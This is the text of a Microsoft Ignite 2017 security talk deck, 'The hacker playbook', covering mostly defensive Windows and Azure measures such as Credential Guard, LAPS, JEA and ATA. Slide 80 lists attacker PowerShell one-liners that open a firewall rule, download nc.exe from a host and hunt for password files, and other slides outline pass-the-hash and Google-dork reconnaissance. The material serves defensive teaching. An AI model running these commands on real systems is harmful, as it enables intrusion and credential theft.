The hacker playbook: How to think and act like a cybercriminal to reduce risk (notes from Microsoft Ignite 2017)
11 likes5,924 views
In reference to my talk at Ms Ignite: "The hacker playbook: How to think and act like a cybercriminal to reduce risk" I am sharing slides, tools and a brief talk summary. More details you can find here: https://cqureacademy.com/ignite/the-hacker-playbook
More Related Content
What's hot (20)
Viewers also liked (20)
Similar to The hacker playbook: How to think and act like a cybercriminal to reduce risk (notes from Microsoft Ignite 2017) (20)
Recently uploaded (20)
The hacker playbook: How to think and act like a cybercriminal to reduce risk (notes from Microsoft Ignite 2017)
- 1. Paula Januszkiewicz CQURE: CEO, Penetration Tester / Security Expert CQURE Academy: Trainer MVP: Enterprise Security, MCT Contact: [email protected] | http://cqure.us Security videos: http://cqureacademy.com @paulacqure @CQUREAcademy
- 2. Consulting services High quality penetration tests with useful reports Applications Websites External services (edge) Internal services + configuration reviews Incident response emergency services – immediate reaction! Security architecture and design advisory Forensics investigation Security awareness For management and employees [email protected] Trainings Security Awareness trainings for executives CQURE Academy: over 40 advanced security trainings for IT Teams Certificates and exams Delivered all around the world only by a CQURE Team: training authors
- 4. Part 1: Traces Break Part 2: Code execution Lunch Part 3: Monitoring Break Part 4: Automation and Network attacks 09’00-10’30 10’45-12’00 13’00-15’00 15’15-17’00 12’00-13’00 10’30-10’45 15’00-15’15
- 7. Unmanaged & Mobile Clients Sensitive Workloads Cybersecurity Reference Architecture Intranet Extranet Azure Key Vault Azure Security Center • Security Hygiene • Threat Detection System Management + Patching - SCCM + Intune Microsoft Azure On Premises Datacenter(s) NGFW IPS DLP SSL Proxy Nearly all customer breaches Microsoft’s Incident Response team investigates involve credential theft 63% of confirmed data breaches involve weak, default, or stolen passwords (Verizon 2016 DBR) IaaS/Hoster $ Windows 10 EPP - Windows Defender Office 365 ATP • Email Gateway • Anti-malware EDR - Windows Defender ATPMac OS Multi-Factor Authentication MIM PAMAzure App Gateway Network Security Groups Windows Information Protection AAD PIM Azure Antimalware Disk & Storage Encryption Endpoint DLP Shielded VMs SQL Encryption & Firewall Hello for Business Azure Information Protection (AIP) • Classification • Labelling • Encryption • Rights Management • Document Tracking • Reporting Enterprise Servers VPN VPN Domain Controllers VMs VMs Certification Authority (PKI) Incident Response Vulnerability Management Enterprise Threat Detection Analytics Managed Security Provider OMS ATA SIEM Security Operations Center (SOC) Logs & Analytics Active Threat Detection Hunting Teams Investigation and Recovery WEF SIEM Integration IoT Identity & Access 80% + of employees admit using non-approved SaaS apps for work (Stratecast, December 2013) UEBA Windows 10 Security • Secure Boot • Device Guard • Credential Guard • Remote Credential Guard • Windows Hello Managed Clients Legacy Windows Office 365 Security Appliances Intune MDM/MAM Conditional Access Cloud App Security Information Protection Windows Server 2016 Security Secure Boot, Nano Server, Just Enough Admin, Device Guard, Credential Guard, Remote Credential Guard, Hyper-V Containers, … Software as a Service Analytics & Reporting ATA Privileged Access Workstations Internet of Things ASM Lockbox Admin Forest
- 9. Identity Pillar Identity Embraces identity as primary security perimeter and protects identity systems, admins, and credentials as top priorities Major Identity Challenges • Identity system security is critical to all security assurances • Attackers are actively targeting privileged access and identity systems • Identity attacks like credential theft are difficult to detect and investigate • Identity systems are complex and challenging to protect • Individual accounts have large attack surface across devices and systems Securing Privileged Access Securing Identities
- 10. SECURE MODERN ENTERPRISE Identity Apps and Data Infrastructure Devices Identity Embraces identity as primary security perimeter and protects identity systems, admins, and credentials as top priorities Apps and Data Aligns security investments with business priorities including identifying and securing communications, data, and applications Infrastructure Operates on modern platform and uses cloud intelligence to detect and remediate both vulnerabilities and attacks Devices Accesses assets from trusted devices with hardware security assurances, great user experience, and advanced threat detectionSecure Platform (secure by design)
- 12. Windows Hello – secure? Pass the hash SMB Relay Kerberos 2-stage authentication
- 13. Admin Environment On-Premises Datacenters 3rd Party SaaS Customer and Partner AccessBranch Office Intranet and Remote PCs High Value Assets 3rd Party IaaS Mobile Devices Microsoft Azure Office 365 Azure Active Directory Rights Management Services Key Management ServicesIaaS PaaS
- 14. Active Directory and Administrators control all the assets
- 15. One small mistake can lead to attacker control Attackers Can • Steal any data • Encrypt any data • Modify documents • Impersonate users • Disrupt business operations Active Directory and Administrators control all the assets
- 16. Tier 2 Workstation & Device Admins Tier 0 Domain & Enterprise Admins Tier 1 Server Admins 1. Beachhead (Phishing Attack, etc.) 2. Lateral Movement a. Steal Credentials b. Compromise more hosts & credentials 3. Privilege Escalation a. Get Domain Admin credentials 4. Execute Attacker Mission a. Steal data, destroy systems, etc. b. Persist Presence Compromises privileged access 24-48 Hours
- 18. 2-4 weeks 1-3 months 6+ months Detect Attacks Harden ConfigurationDomain Controller (DC) Host Attacks Credential Theft & Abuse Reduce Agent Attack Surface Attacker Stealth Prevent Escalation Prevent Lateral Traversal Increase Privilege Usage Visibility AD Attacks Assign Least Privilege Attack Defense Securing Privileged Access Three Stage Roadmap http://aka.ms/privsec
- 19. 1. Separate Admin account for admin tasks 3. Unique Local Admin Passwords for Workstations http://Aka.ms/LAPS 2. Privileged Access Workstations (PAWs) Phase 1 - Active Directory admins http://Aka.ms/CyberPAW 4. Unique Local Admin Passwords for Servers http://Aka.ms/LAPS 2-4 weeks 1-3 months 6+ months First response to the most frequently used attack techniques
- 20. 2-4 weeks 1-3 months 6+ months DC Host Attacks Credential Theft & Abuse Attacker Stealth AD Attacks Top Priority Mitigations Attack Defense Detect Attacks Harden DC configuration Reduce DC Agent attack surface Prevent Escalation Prevent Lateral Traversal Increase Privilege Usage Visibility Assign Least Privilege
- 21. 2. Time-bound privileges (no permanent admins) http://aka.ms/PAM http://aka.ms/AzurePIM 1. Privileged Access Workstations (PAWs) Phases 2 and 3 –All Admins and additional hardening (Credential Guard, RDP Restricted Admin, etc.) http://aka.ms/CyberPAW 4. Just Enough Admin (JEA) for DC Maintenance http://aka.ms/JEA 987252 1 6. Attack Detection http://aka.ms/ata 5. Lower attack surface of Domain and DCs http://aka.ms/HardenAD 2-4 weeks 1-3 months 6+ months Build visibility and control of administrator activity, increase protection against typical follow-up attacks 3. Multi-factor for elevation
- 22. 2-4 weeks 1-3 months 6+ monthsAttack Prevent Escalation Defense
- 23. 2. Smartcard or Passport Authentication for all admins http://aka.ms/Passport 1. Modernize Roles and Delegation Model 3. Admin Forest for Active Directory administrators http://aka.ms/ESAE 5. Shielded VMs for virtual DCs (Server 2016 Hyper-V Fabric) http://aka.ms/shieldedvms 4. Code Integrity Policy for DCs (Server 2016) 2-4 weeks 1-3 months 6+ months Move to proactive security posture
- 24. 2-4 weeks 1-3 months 6+ monthsAttack Prevent Escalation Prevent Lateral Traversal Defense
- 25. Credentials not sent to cloud only stored locally Every machine must be registered Active Directory password is not shared
- 26. What is the most successful path for the attack right now?
- 27. :) THE ANATOMY OF AN ATTACK Healthy Computer User Receives Email User Lured to Malicious Site Device Infected with Malware
- 28. HelpDesk Logs into Device Identity Stolen, Attacker Has Increased Privs :) Healthy Computer User Receives Email User Lured to Malicious Site Device Infected with Malware
- 29. User Lured to Malicious Site Device Infected with Malware HelpDesk Logs into Device Identity Stolen, Attacker Has Increased Privs ceives il
- 31. “PASS THE HASH” ATTACKS Today’s security challenge
- 33. User: Adm... Hash:E1977 Fred’s Laptop Fred’s User Session User: Fred Password hash: A3D7… Sue’s Laptop Sue’s User Session Malware Session User: Administrator Password hash: E1977… Malware User Session User: Adm… Hash: E1977 User: Sue Hash: C9DF User: Sue Password hash: C9DF… File Server User: Sue Hash:C9DF 1 3 4 1. FRED RUNS MALWARE, HE IS A LOCAL ADMINISTRATOR 2. THERE IS A PASS THE HASH SESSION ESTABLISHED WITH ANOTHER COMPUTER 3. MALWARE INFECTS SUE’S LAPTOP AS FRED 4. MALWARE INFECTS FILE SERVER AS SUE 2
- 34. Pass-The-Hash Solution: Virtual Secure Mode VSM uses Hyper-V powered secure execution environment to protect derived credentials – you can get things in but can’t get things out Decouples NTLM hash from logon secret Fully randomizes and manages full length NTLM hash to prevent brute force attack Derived credentials that VSM protected LSA Service gives to Windows are non- replayable
- 35. Credential Guard uses virtualization- based security to isolate secrets such as cached credentials Mitigates pass-the-hash or pass- the-ticket attacks Takes advantage of hardware security including secure boot and virtualization
- 36. Virtual Secure Mode Virtual Secure Mode (VSM) Kernel LocalSecurity AuthService Hypervisor Hardware Windows Kernel Apps VirtualTPM Hyper-Visor CodeIntegrity
- 37. Windows 10 Enterprise or Education editions Unified Extensible Firmware Interface (UEFI) 2.3.1 or greater Virtualization Extensions such as Intel VT-X, AMD-V and SLAT must be enabled x64 version of Windows IOMMU, such as Intel VT-d, AMD-Vi TPM 2.0 BIOS lockdown
- 38. Credential Guard can also be deployed on virtual machine Virtual machine must fulfill following requirements: Generation 2 VM Enabled virtual TPM Running Windows 10 or Windows 2016
- 39. Once an attacker has administrative privileges on a machine, it's possible to pull from the memory space of the operating system With IUM, there's a boundary: Drivers can't get into the Local Security Authority Strict signing is enforced in the IUM Credentials are encrypted
- 40. Enabling Credential Guard blocks: Kerberos DES encryption support Kerberos unconstrained delegation Extracting the Kerberos TGT NTLMv1 Applications will prompt and expose credentials to risk: Digest authentication Credential delegation MS-CHAPv2
- 41. Credential Guard does not protect: Local accounts Microsoft accounts AD database on domain controllers Against key loggers Credman When deployed in VM it protects against attacks inside VM, however not against attacks originating from host.
- 44. How to enable VSM?
- 45. How to enable VSM?
- 46. How to enable VSM? …and reboot the machine
- 47. VSM Enabled Windows 10: VSM Enabled
- 53. Set SPNs for services to avoid NTLM: SetSPN –L <your service account for AGPM/SQL/Exch/Custom> SetSPN –A Servicename/FQDN of hostname/FQDN of domain domainserviceaccount Reconsider using Kerberos authentication all over https://technet.microsoft.com/en-us/library/jj865668.aspx Require SPN target name validation Microsoft network server: Server SPN target name validation level Reconsider turning on SMB Signing
- 54. Setting Group Policy Setting Registry Key Required * Digitally sign communications (always) – Enabled RequireSecuritySignature = 1 Not Required ** Digitally sign communications (always) – Disabled RequireSecuritySignature = 0 * The default setting for signing on a Domain Controller (defined via Group Policy) is “Required”. ** The default setting for signing on SMB2 Servers and SMB Clients is “Not Required”. Server – Required Server – Not Required Client – Required Signed Signed Client – Not Required Signed* Not Signed** Effective behavior for SMB2/3: * Default for Domain Controller SMB traffic. ** Default for all other SMB traffic.
- 55. Smart cards are physical devices, which improves authentication security by requiring that users have their smart card to access the system Smart cards have three key properties that help maintain their security: Non-exportability Isolated cryptography Anti-hammering Problems with physical smart cards: Cost Additional technical support Possible loss
- 56. Virtual smart cards function like physical smart cards, the difference is in the way how they protect private keys by using the TPM instead of smart card media Virtual smart cards have three key properties that help maintain their security: Non-exportability Isolated cryptography Anti-hammering They reduce problems associated with physical smart cards
- 57. Virtual smart card is always inserted You cannot export virtual smart card to use it on other computer When user is using multiple computers, we need to create multiple virtual cards They reduce problems associated with physical smart cards
- 58. Physical smart card is always near the user, thus the risk of theft is minimized Virtual smart cards is stored on computer that increases the risk of theft Providing faulty PIN with virtual smart card will not block the user it will only present time delay after providing faulty PIN However virtual smart cards are less likely to be lost
- 59. Azure AD
- 60. Azure Active Directory Identity Protection is a feature of the Azure AD Premium P2 edition. It provides a consolidated view into risk events and potential vulnerabilities affecting your organization’s identities. Identity Protection uses adaptive machine learning algorithms and heuristics to detect anomalies and risk events.
- 61. Detecting risk events and risky accounts Investigating risk events Risk-based conditional access policies
- 62. Leaked credentials Impossible travel to atypical locations Sign-ins from infected devices Sign-ins from anonymous IP addresses Sign-ins from IP addresses with suspicious activity Sign-in from unfamiliar locations
- 63. Risks are categorized into three levels High – high confidence and high severity risk event Medium – high severity, but lower confidence risk event, or vice versa Low - low confidence and low severity risk event
- 64. Privileged Identity Management is a available in Azure AD Premium P2. Enable on-demand, "just in time" administrative access to Microsoft Online Services like Office 365 and Intune Get reports about administrator access history and changes in administrator assignments Get alerts about access to a privileged role
- 65. PIM comes with predefined roles: Global Administrator Billing Administrator Service Administrator User Administrator Password Administrator
- 66. MFA for Office 365 MFA for Azure Administrators Azure MFA
- 67. Multifactor authentication combines two or more authentication methods Available authentication methods: Something you know Something you have Something you are
- 68. Azure MFA is a two step verification process It helps securing access to data and applications Possible verification methods: phone call text message mobile app
- 69. Easy to use Scalable Always protected Reliable
- 71. What are you trying to secure MFA in the cloud MFA Server First-party Microsoft apps ● ● SaaS apps in the app gallery ● Web applications published through Azure AD App Proxy ● IIS applications not published through Azure AD App Proxy ● Remote access such as VPN, RDG ● ●
- 72. There are three offerings to choose from: MFA for Office 365 MFA for Azure Administrators Azure MFA
- 73. We can divide information gathering tools into three categories: Passive Semi-passive Active
- 74. WHOIS is a searchable database that contains information about every owner Registrar Whois Server Nameservers Registration date Expiration date Registrant name, email address, telephone number
- 75. Shodan is a search engine that lets the user find specific types of devices connected to the Internet. It also allows to review the basic information about the device: Open ports SSL Certificate Server fingerprint
- 76. Google Dorks utilize Google’s search engine to find information about our target Dorks use advanced query syntax to pinpoint to resources we are actually searching for With proper query we can find: Files containing passwords Pages with login Vulnerable servers GHDB contains thousands of example dorks
- 77. DNS enumeration is considered as one of the active scanning techniques To enumerate DNS resources we use either a wordlist or brute force The most common tools for that tasks are: Fierce Dnsenum Dnsrecon
- 78. Shell and scripting language present by default on new Windows machines Designed to automate things and make life easier for system admins Based on .NET framework and is tightly integrated with Windows and other Microsoft products
- 79. Provides access to almost everything on Windows platform Easy to learn and really powerful Often Trusted by the countermeasures and system administrators
- 80. Custom PS Scripts Powerpreter PowerSploit Action Cmdlet Modify FW New-NetFirewallRule -Action Allow -DisplayName MyAccess -RemoteAddress 10.10.10.10 List Hotfixes Get-HotFix Download file (New-Object System.Net.WebClient).DownloadFile( "http://10.10.10.10/nc.exe","nc.exe") Find files Get-ChildItem "C:Users" -Recurse -Include *passwords*.txt
- 81. JEA provides Windows with an RBAC on Windows PowerShell remoting Limit users to a set of defined Windows PowerShell cmdlets Actions are performed by using a special machine local virtual account
- 82. JEA only works with Windows PowerShell sessions JEA does not work with: Management Consoles Remote Administration Tools You need to understand required: Cmdlets Parameters Aliases
- 83. Role-capability files specify what can be done in a Windows PowerShell session Anything that is not explicitly allowed is not allowed New blank role-capability can be created by using the New-PSRoleCapabilityFile cmdlet
- 84. Session-configuration files determine: What can be done in JEA session Which security principals can do it New session configuration file can be created by using the New- PSSessionConfigurationFile cmdlet
- 85. Connect to JEA endpoint to perform administrative tasks Configuration is determined by session configuration files that links security groups and role capability files Server can have multiple JEA Endpoints Create JEA endpoints by using the Register-PSSessionConfiguration
- 86. GUI tool, which helps to create JEA configuration Helping generate the “Security Descriptor Definition Language” (SDDL) syntax when you want to use Two-Factor Authentication
- 87. E3 Level: Azure Active Directory Premium P1 Intune Azure Information Protection P1 Advanced Threat Analytics E5 level: Azure Active Directory Premium P2 Intune Azure Information Protection P2 Advanced Threat Analytics Cloud App Security •Azure Information Protection P2 •Advanced Threat Analytics •Cloud App Security
- 88. Cloud Discovery Data Protection Threat Protection
- 89. Cloud Discovery uses your traffic logs to dynamically discover and analyze the cloud apps that organization is using You can upload firewall logs manually or setup connectors for continues analysis Traffic data is analyzed against the Cloud App Catalog to identify more than 15,000 cloud apps and to assess their risk score
- 90. You can use Cloud App Security to sanction or un-sanction apps in your organization Microsoft analysts score the cloud apps based on their risks assessment You can adjust the ratings rules yourself and setup a policy to block the applications that do not meet your standard
- 91. App connectors use APIs from cloud app providers to integrate the Cloud App Security cloud with other cloud apps The app administrator authorizes Cloud App Security to access the app. Then, Cloud App Security scans queries the app’s activity logs for: data accounts cloud content
- 92. Cloud App Security is officially certified for: ISO, HIPAA, CSA STAR, EU Cloud App Security retains data as follows: Activity log: 180 days Discovery data: 90 days Alerts: 180 days The file content is not stored in the Cloud App Security database; only the metadata and any violations that were identified are stored
- 93. Allows to manage devices and apps from cloud Achieve unified management for all devices Enhance data protection Allows protection outside corporate environment
- 94. Policies help administrator ensure that a device is compliant with corporate standard: Number of devices a user enrolls Device settings (encryption, password length, etc.) VPN Profiles Email Profiles Policies are separate for each platform
- 95. Require encryption for managed app Only allow copy and paste between managed applications Only allow Save As to secure locations Allow employees to use corporate and private identity in the same app Wipe company data
- 96. What IT can see What IT cannot see Model Call and web browsing history Serial Number Location OS version Personal Email Installed Apps Text Messages Owner Contacts Device name Passwords to private accounts Manufacturer Calendar events Phone number Pictures
- 97. An extension to PowerShell Create and manage server configuration files Ensures that servers are always configured the way we want
- 98. Push Model Configuration deployed to servers Start-DSCConfiguration to deploy Pull Model Server pull from central server using: HTTP/HTTPS SMB We can use traditional load balancing techniques
- 99. DSC configuration is compiled to MOF format Each MOF is for single target node You can have only one MOF file applied to single node at any given time
- 100. The Local Configuration Manager (LCM) is the engine of (DSC) The LCM runs on every target node It is responsible for: parsing and enacting configurations determining refresh mode (push or pull) specifying how often a node pulls and enacts configurations associating the node with pull servers
- 101. DSC Built-in resources: Enable / disable server roles and features Manage registry settings Manage files and folders Manage processes and services Manage local users and groups Deploy new software packages Manage environment variables Run PowerShell scripts
- 102. Users can install and run non standard applications Unauthorized applications are threat to organization, because they can: contain malware cause problems with compliance increase help desk calls Reduce productivity
- 103. Windows offers two solutions: AppLocker Device Guard Generally there are two ways too define allowed applications: Whitelisting (recommended) Blacklisting
- 104. Applocker rules can be created for: Executable Installer Script DLL Applocker rules can be assigned to a security group or an individual user Rules can be defined based on: publisher name product name file name file version file path hash
- 105. Test rules before enforcement Events are written to local audit log: Applications and Service Logs | Microsoft | Windows | AppLocker After all information is gathered adjust your rules and deploy in Enforcing mode
- 106. Device Guard is a combination of hardware and software that will ensure that only trusted applications can execute Device Guard is comprised of: Virtual Secure Mode Configurable Code Integrity VSM Protected Code Integrity: Kernel Mode Code Integrity User Mode Code Integrity Platform and UEFI Secure Boot
- 107. Device Guard used Code Integrity Policies to define allowed applications File rules policies can be defined using: Hash File Name Signed Version Publisher File Publisher Leaf Certificate PCA Certificate WHQL, WHQL Publisher, WHQL File Publisher
- 108. Device Guard used Code Integrity Policies to define allowed applications You can generate policies from existing systems by using Windows PowerShell Device Guard defaults to the Audit Mode Use Windows PowerShell cmdlets to create a policy from the audit log and merge it with your initial policy You should enable enforcement after you verify the audit mode
- 109. Device Guard helps also with preventing other attacks: Malware that gains access to the kernel (through VBS) DMA-based attacks (through VBS) Exposure to boot kits (through UEFI Secure Boot) However you need to have supported hardware
- 110. Encryption Renders data unusable Can use symmetric or asymmetric encryption Deleting Attackers threatens to remove the data Locking Attacker creates login page or HTML page with false information
- 111. Malvertising Ransomworm Peer to peer file transfer Other
- 112. Built-in malware protection Helps to identify and remove: viruses spyware other malicious software Network inspection Real time protection
- 113. Protects your Devices • Manageable EPP built-into Windows Protects your Servers • Manageable EPP built-into Windows Server 2016 • Available for most SKUs Protects your Services • O365 email, Skype, OneDrive, Azure, Bing, Windows Store • Threat Insights used to bolster Endpoint Protection Used by MS Security Ecosystem • Windows Defender Advanced Threat Protection • Cyber Security Services, Digital Crime Unit (DCU)
- 114. Windows Defender can be managed through: PowerShell Windows Intune System Center Configuration Manager Windows Management Instrumentation GPO MpCmdRun.exe
- 115. Unique threat intelligence knowledge base Unparalleled threat optics provide detailed actor profiles 1st and 3rd party threat intelligence data. Rich timeline for investigation Easily understand scope of breach. Data pivoting across endpoints. Deep file and URL analysis. Behavior-based, cloud-powered breach detection Actionable, correlated alerts for known and unknown adversaries. Real-time and historical data. Built in to Windows No additional deployment & infrastructure. Continuously up-to-date, lower costs.
- 116. INITIAL CUSTOMER ENGAGEMENT Customer learns about WDATP via Internet and/ or Microsoft sales rep SIGN-UP/SIGN-IN Customer fills-in Sign- Up form and OrgID/ Tenant is created BUY VIA EA Customer works with LSP to get qualified for an EA (CPS created) COMMIT Customer/Partner agree to concessions, discounts, pricing, amendments, etc. and create CPS. Customer signs/ updates EA or AOS-C and other required documents as part of overall deal packet PROCESS ROC processes agreements, amendments, CPS, etc. via VLCM or hardcopy Information entered into MSL/LIR/EMC/SMC ROC creates invoices for collection of payment VOLUME LICENSING SERVICE CENTER (VLSC) OLS SUMMARY WDATP link triggers provisioning Customer receives Email Link to VLSC TENANT DISCOVERY WELCOME EMAIL Welcome Email will contain Sign-Up/Sign-In links Windows Security Center BuyLearn/Try Provisioning/Activation Support Sign-in with MSA Support Use/ManageProvisioning/Activation BUY VIA AOS-C Customer works with LSP. Sign in with AAD Windows ATP PROVISIONING Auto-provisioning of online services If you log out after Sign-Up/Sign-in, you will need to log-in again to complete onboarding SERVICE ACTIVATION Customer receives confirmation of service- readiness/activated email
- 117. OLS SUMMARY WDATP link triggers provisioning TENANT DISCOVERY WELCOME EMAIL Welcome Email will contain Sign-Up/Sign-In links Windows Security Center SIGN-UP/SIGN-IN Customer fills-in Sign- Up form and OrgID/ Tenant is created
- 118. Proxy & Firewall setting Windows Telemetry turned off OOBE installation not completed
- 119. REST APIs Alert display ArcSight and Splunk Adding more Info on TechNet
- 120. ▪ ▪ ▪ ▪ ▪ ▪ REST APIs Alert display ArcSight and Splunk Adding more Info on TechNet
- 121. ▪ Credit card companies monitor cardholders’ behavior ▪ If there is any abnormal activity, they will notify the cardholder to verify charge Microsoft Advanced Threat Analytics brings this concept to IT and users of a particular organization Comparison: Email attachment An on-premises solution to identify advanced security attacks before they cause damage
- 122. Behavioral Analytics Detection for known attacks and issues Advanced Threat Detection An on-premises solution to identify advanced security attacks before they cause damage
- 123. Behavioral Analytics Detection for known attacks and issues Advanced Threat Detection An on-premises solution to identify advanced security attacks before they cause damageDetect threats fast with Behavioral Analytics Adapt as fast as your enemies Focus on what is important fast using the simple attack timeline Reduce the fatigue of false positives No need to create rules or policies, deploy agents, or monitor a flood of security reports. The intelligence needed is ready to analyze and is continuously learning. ATA continuously learns from the organizational entity behavior (users, devices, and resources) and adjusts itself to reflect the changes in your rapidly evolving enterprise. The attack timeline is a clear, efficient, and convenient feed that surfaces the right things on a timeline, giving you the power of perspective on the “who, what, when, and how” of your enterprise. It also provides recommendations for next steps Alerts only happen once suspicious activities are contextually aggregated, not only comparing the entity’s behavior to its own behavior, but also to the profiles of other entities in its interaction path.
- 124. It learns and adapts It is fast It provides clear information Red flags are raised only when needed
- 125. ▪ Witnesses all authentication and authorization to the organizational resources within the corporate perimeter or on mobile devices Mobility support Integration to SIEM Seamless deployment ▪ Analyzes events from SIEM to enrich the attack timeline ▪ Works seamlessly with SIEM ▪ Provides options to forward security alerts to your SIEM or to send emails to specific people ▪ Utilizes port mirroring to allow seamless deployment alongside AD ▪ Non-intrusive, does not affect existing network topology
- 126. Analyze1 After installation: • Simple, non-intrusive port mirroring configuration copies all AD-related traffic • Remains invisible to the attackers • Analyzes all Active Directory network traffic • Collects relevant events from SIEM and information from Active Directory (titles, group memberships, and more)
- 127. ATA: • Automatically starts learning and profiling entity behavior • Identifies normal behavior for entities • Learns continuously to update the activities of the users, devices, and resources Learn2 What is entity? Entity represents users, devices, or resources
- 128. Detect3 Microsoft Advanced Threat Analytics: • Looks for abnormal behavior and identifies suspicious activities • Only raises red flags if abnormal activities are contextually aggregated • Leverages world-class security research to detect security risks and attacks in near real time based on attackers Tactics, Techniques and Procedures (TTPs) ATA not only compares the entity’s behavior to its own, but also to the behavior of entities in its interaction path.
- 129. Abnormal Behavior ▪ Anomalous logins ▪ Remote execution ▪ Suspicious activity Security issues and risks ▪ Broken trust ▪ Weak protocols ▪ Known protocol vulnerabilities Malicious attacks ▪ Pass-the-Ticket (PtT) ▪ Pass-the-Hash (PtH) ▪ Overpass-the-Hash ▪ Forged PAC (MS14-068) ▪ Golden Ticket ▪ Skeleton key malware ▪ Reconnaissance ▪ BruteForce ▪ Unknown threats ▪ Password sharing ▪ Lateral movement
- 131. Physical Traditionally apps are built and deployed onto physical systems with 1:1 relationship. New applications often required new physical systems for isolation of resources Virtual Higher consolidation ratios and better utilization Faster app deployment than in a physical environment Apps benefited from key VM features i.e., live migration, HA
- 132. Containers Package and run apps within containers Further accelerate of app deployment Reduce effort to deploy apps Streamline development and testing Lower costs associated with app deployment Increase server consolidation
- 133. Dependencies - Virtualization - Container engine is a light weight virtualization mechanism which isolates dependencies per application by packaging them into virtual containers Shared host OS - Container runs as an isolated process in user space on the host OS, sharing the kernel with other containers Flexible - Differences in underlying OS and infrastructure are abstracted away, streamlining “deploy anywhere” approach Fast - Containers can be created almost instantly, enabling rapid scale-up and scale-down in response to changes in demand
- 134. On Windows there are two deployment models: Windows Server Containers - standard docker installation on bare metal or VM Hyper-V Containers - A Hyper-V container is a Windows Server container running inside a stripped down Hyper-V VM that is only instantiated for containers. This provides additional level of kernel isolation from the host OS that is used by the containerized application (can be useful in multitenant environments)
- 135. Bridge network: containers on the same host may communicate IP addresses assigned to each container are not accessible from outside the host NAT is used to provide communication beyond the host eliminates port conflict problems Host network: containers shares the network with host Possible problems with port conflicts Overlay network: use networking tunnels to communicate across hosts containers behave as if they are on the same machine by tunneling network subnets between hosts (VXLAN)
- 136. Fabric / Virtualization administrators Have the highest “privileges” contrary to traditional model where domain admins are the most trusted Virtualized domain controllers Hyper-V admin can copy virtual disks for offline attacks or perform other attack Public cloud Fabric admin can have potentially full access to tenant Solution: Shielded VMs They offer strong separation between fabric admin and workload administrator •Azure Information Protection P2 •Advanced Threat Analytics •Cloud App Security
- 137. In Shielded VMs data and state is protected against: Inspection Theft Tampering •Azure Information Protection P2 •Advanced Threat Analytics •Cloud App Security
- 138. Hyper-V hosts and the shielded VMs themselves are protected by the HGS. The HGS provides two distinct services: Attestation - ensures only trusted Hyper-V hosts can run shielded VMs Key protection - provides the keys necessary to power them on and to live migrate them to other guarded hosts
- 139. Hybrid and Heterogeneous Starting the journey | Modern management Operations Management Suite System Center foundation
- 140. Private clouds (Azure Stack, Hyper-V, VMware, OpenStack) Windows Server (Guest) Windows Server (Guest) Windows Server (Guest) Windows Server (Guest) Linux (Guest) Operations Management Suite
- 141. A single portal for all your management tasks. No infrastructure to maintain. It’s simple Onboard fast. No content to create. Connects to your on-premises datacenter. Time to value Add new servers, or connect to your existing management tools within minutes. Easy to integrate Manage workloads across Windows and Linux, hybrid and public clouds, Azure and AWS. Hybrid and open Complements your System Center investment to unleash new management scenarios. Extend System Center
- 142. Gain visibility across your hybrid enterprise cloud Log analytics Automation Orchestrate complex and repetitive operations Availability Increase data protection and application availability Security Help secure your workloads, servers, and users
- 144. Gain visibility across your hybrid enterprise cloud. • Deliver unparalleled insights across your datacenters and public clouds, including Azure and AWS. • Collect, store, and analyze log data from virtually any Windows Server and Linux source.
- 145. Easy collection, correlation, and visualization of your machine data Insight into physical, virtual, and cloud infrastructure health, capacity, and usage Proactive operational data analysis Log management across physical, virtual, and cloud infrastructure Capacity planning and deep visibility into your datacenter and across premises Faster investigation and resolution of operational issues with deep insights
- 146. ▪ ▪ ▪ ▪
- 147. Efficient tracking of server configuration changes Ad-hoc root cause analysis and automated troubleshooting Custom graphical saved searches for more insight with dashboards Change tracking across multiple data sources Powerful search capabilities to drill deeper into areas of interest Rich dashboard and reporting capabilities powered by search queries
- 148. ▪ ▪ ▪
- 149. ▪ ▪ ▪ ▪
- 150. ▪ ▪ ▪
- 151. ▪ ▪ ▪
- 152. ▪ ▪ ▪ ▪
- 153. ▪ ▪ ▪ ▪ ▪ ▪
- 154. ▪ ▪ ▪ ▪
- 155. Orchestrate complex and repetitive operations. • Create, monitor, manage, and deploy resources • Reduce errors and boosting efficiency
- 156. Reduction of time- consuming, error-prone cloud management tasks Quick start of automation tasks using Runbook Gallery Better visibility into automation activities Creation, monitoring, management, and deployment of resources in hybrid environments Ready-to-use automation sample, utility, and scenario runbooks Runbook monitoring with easy-to- read dashboard charts and log records
- 157. Integration with Azure and external services using Internet APIs Faster, more consistent delivery of services Automation activity reports Reliable automation through efficient handling of processes Insight into and tracking of automation activities with detailed reporting Integration with the services you depend on
- 158. ▪ ▪ ▪
- 159. ▪ ▪ ▪ ▪ ▪
- 160. Ensure data integrity and application availability. Backup and enable integrated recovery for all your servers and applications, no matter where they reside..
- 161. Affordable in-box business continuity and disaster recovery solution Seamless integration with existing backup and recovery investments Best-in-class security and data encryption Automated virtual machine replication Integration of on-premises replication tools with cloud-based recovery Security-enhanced replication of application data
- 162. Simple, flexible, and affordable disaster recovery Flexible management of application uptime and resources Protection of business- critical data where it resides Ability to define recovery plans and easy-to-manage recovery points Maximum uptime with resource health assessment Unified solution for protecting data on-premises and in the cloud
- 163. Orchestrate the recovery of your apps for simplified disaster recovery Improve Recovery-Time-Objectives (RTO) and Recovery-Point-Objectives (RPO) for both planned and unplanned outages Achieve zero impact disaster recovery drills Minimize app errors and data loss with application consistent recovery points Replication for heterogeneous environments: Hyper-V, VMware, and physical Azure
- 164. Decrease reliance on tape backup to save money and increase agility Azure Backup integrated with SCDPM protects enterprise workloads including SharePoint, Exchange, SQL Server, and Hyper-V VMs, Lowers the management costs of backing up remote/branch offices Reduce the dependence on offsite tape backup to accelerate recovery time
- 165. Ensure the longevity of your data with long-term retention – 99+ years Reduce investments in tape archives, saving capital budget for your business Meet regulatory compliance requirements for your business or industry A scalable backup solution that can meet the needs of your growing business 99+
- 166. ▪ ▪ ▪ ▪
- 167. Help secure your workloads, servers, and users. Identify missing system updates and malware status. Collect security-related events and perform forensic, audit, and breach analysis. Enable cloud-based patch management for all your environments.
